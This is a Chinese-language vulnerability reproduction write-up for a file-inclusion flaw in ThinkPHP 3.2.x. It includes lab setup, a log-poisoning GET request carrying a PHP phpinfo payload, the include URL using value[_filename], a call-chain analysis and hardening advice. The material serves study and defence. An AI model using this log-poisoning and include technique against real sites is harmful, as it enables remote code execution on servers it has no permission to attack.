ThinkPHP3.2.X通用漏洞复现
字数 1643 2025-08-24 16:48:16

ThinkPHP 3.2.X 通用漏洞复现与分析

环境搭建

  1. PHP版本要求

    • 必须使用PHP版本 > 5.3.0
    • 测试使用PHP 5.3.29成功搭建
  2. 搭建工具

    • 推荐使用phpstudy工具
    • 解决端口占用问题:
      netstat -no  # 查看占用端口的PID
      tskill PID   # 强制关闭进程
      
  3. 下载地址

    • ThinkPHP 3.2.1完整版:https://www.thinkphp.cn/down.html
  4. 跨主机访问设置

    • 需要开启虚拟机的防火墙设置
    • 注意phpstudy同时只能启动一个网站

漏洞复现前置条件

  1. 修改控制器文件

    • 路径:Application/Home/Controller/IndexController.class.php
    • 修改内容:
      <?php
      namespace Home\Controller;
      use Think\Controller;
      
      class IndexController extends Controller {
          public function index($value='') {
              $this->assign($value);
              $this->display();
          }
      }
      
  2. 创建视图文件

    • Application/Home/View/Index/下创建index.html

漏洞利用方式

1. 通过报错至Log记录利用

日志文件位置

  • 开启debug模式:\Application\Runtime\Logs\Home\年_月_日.log
  • 未开启debug模式:\Application\Runtime\Logs\Common\年_月_日.log

利用步骤

  1. 通过Burp Suite发送恶意请求(GET方式):

    GET /?m=--><?=phpinfo();?>
    

    注意:直接通过浏览器GET请求会被URL编码,导致后续利用失败

  2. 执行文件包含:

    http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/23_02_17.log
    

2. 通过文件上传利用

如果能够上传文件并知道其路径,也可以通过文件包含来执行恶意代码。

漏洞原理分析

调用链分析

完整的漏洞利用调用链:

assign() -> display() -> Hook::listen() -> self::exec() -> 新建Behavior类 -> run() -> fetch() -> load()
  1. assign方法

    • 将用户控制的参数_filename赋值给$this->tVar
    • 使得$this->tVar->_filename指向目标路径
  2. display方法

    • 调用Hook::listen,将tVar作为$params参数回调
  3. Hook机制

    • 调用Behavior\ParseTemplateBehavior(位于ThinkPHP/Library/下)
    • 通过exec方法实例化并调用run方法
  4. 最终执行

    • run方法调用fetch,进而调用load方法
    • load方法中包含include $_filename,实现任意文件包含

关键函数说明

  1. ThinkPHP视图方法

    • display(): 渲染并输出模板
    • fetch(): 渲染模板但不直接输出
    • show(): 直接渲染内容
    • assign(): 向模板传递变量
  2. Hook机制

    • 钩子函数像一个"陷阱"或"监听器"
    • 在消息传递过程中拦截并执行回调函数
    • 本漏洞通过Hook函数调用Library扩展包下的类和方法

调试方法

  1. 使用PHPStorm调试

    • 配置PHP Built-in Web Server
    • Host建议使用127.0.0.1而非localhost(便于Burp抓包)
    • 安装Xdebug插件
  2. 逆向分析技巧

    • 使用Ctrl+Shift+F全局搜索
    • 搜索关键词include $_filename定位漏洞点
    • 注意扩展包中的调用可能不会被直接追踪到

参考链接

  1. ThinkPHP 3.2.x文件包含&RCE分析:https://blog.weik1.top/2021/09/06/ThinkPHP%203.2.x%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB&RCE%E5%88%86%E6%9E%90/
  2. ThinkPHP3.2.3漏洞复现:https://blog.csdn.net/qq_43697234/article/details/118931542
  3. Xdebug配置:https://blog.csdn.net/yinhangbbbbb/article/details/79247331

防护建议

  1. 升级到最新版本的ThinkPHP
  2. 关闭调试模式
  3. 对用户输入进行严格过滤
  4. 限制日志目录的访问权限
  5. 避免直接使用用户可控参数作为文件路径
ThinkPHP 3.2.X 通用漏洞复现与分析 环境搭建 PHP版本要求 : 必须使用PHP版本 > 5.3.0 测试使用PHP 5.3.29成功搭建 搭建工具 : 推荐使用phpstudy工具 解决端口占用问题: 下载地址 : ThinkPHP 3.2.1完整版:https://www.thinkphp.cn/down.html 跨主机访问设置 : 需要开启虚拟机的防火墙设置 注意phpstudy同时只能启动一个网站 漏洞复现前置条件 修改控制器文件 : 路径: Application/Home/Controller/IndexController.class.php 修改内容: 创建视图文件 : 在 Application/Home/View/Index/ 下创建 index.html 漏洞利用方式 1. 通过报错至Log记录利用 日志文件位置 : 开启debug模式: \Application\Runtime\Logs\Home\年_月_日.log 未开启debug模式: \Application\Runtime\Logs\Common\年_月_日.log 利用步骤 : 通过Burp Suite发送恶意请求(GET方式): 注意:直接通过浏览器GET请求会被URL编码,导致后续利用失败 执行文件包含: 2. 通过文件上传利用 如果能够上传文件并知道其路径,也可以通过文件包含来执行恶意代码。 漏洞原理分析 调用链分析 完整的漏洞利用调用链: assign方法 : 将用户控制的参数 _filename 赋值给 $this->tVar 使得 $this->tVar->_filename 指向目标路径 display方法 : 调用 Hook::listen ,将 tVar 作为 $params 参数回调 Hook机制 : 调用 Behavior\ParseTemplateBehavior (位于 ThinkPHP/Library/ 下) 通过 exec 方法实例化并调用 run 方法 最终执行 : run 方法调用 fetch ,进而调用 load 方法 load 方法中包含 include $_filename ,实现任意文件包含 关键函数说明 ThinkPHP视图方法 : display() : 渲染并输出模板 fetch() : 渲染模板但不直接输出 show() : 直接渲染内容 assign() : 向模板传递变量 Hook机制 : 钩子函数像一个"陷阱"或"监听器" 在消息传递过程中拦截并执行回调函数 本漏洞通过Hook函数调用Library扩展包下的类和方法 调试方法 使用PHPStorm调试 : 配置PHP Built-in Web Server Host建议使用127.0.0.1而非localhost(便于Burp抓包) 安装Xdebug插件 逆向分析技巧 : 使用 Ctrl+Shift+F 全局搜索 搜索关键词 include $_filename 定位漏洞点 注意扩展包中的调用可能不会被直接追踪到 参考链接 ThinkPHP 3.2.x文件包含&RCE分析:https://blog.weik1.top/2021/09/06/ThinkPHP%203.2.x%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB&RCE%E5%88%86%E6%9E%90/ ThinkPHP3.2.3漏洞复现:https://blog.csdn.net/qq_ 43697234/article/details/118931542 Xdebug配置:https://blog.csdn.net/yinhangbbbbb/article/details/79247331 防护建议 升级到最新版本的ThinkPHP 关闭调试模式 对用户输入进行严格过滤 限制日志目录的访问权限 避免直接使用用户可控参数作为文件路径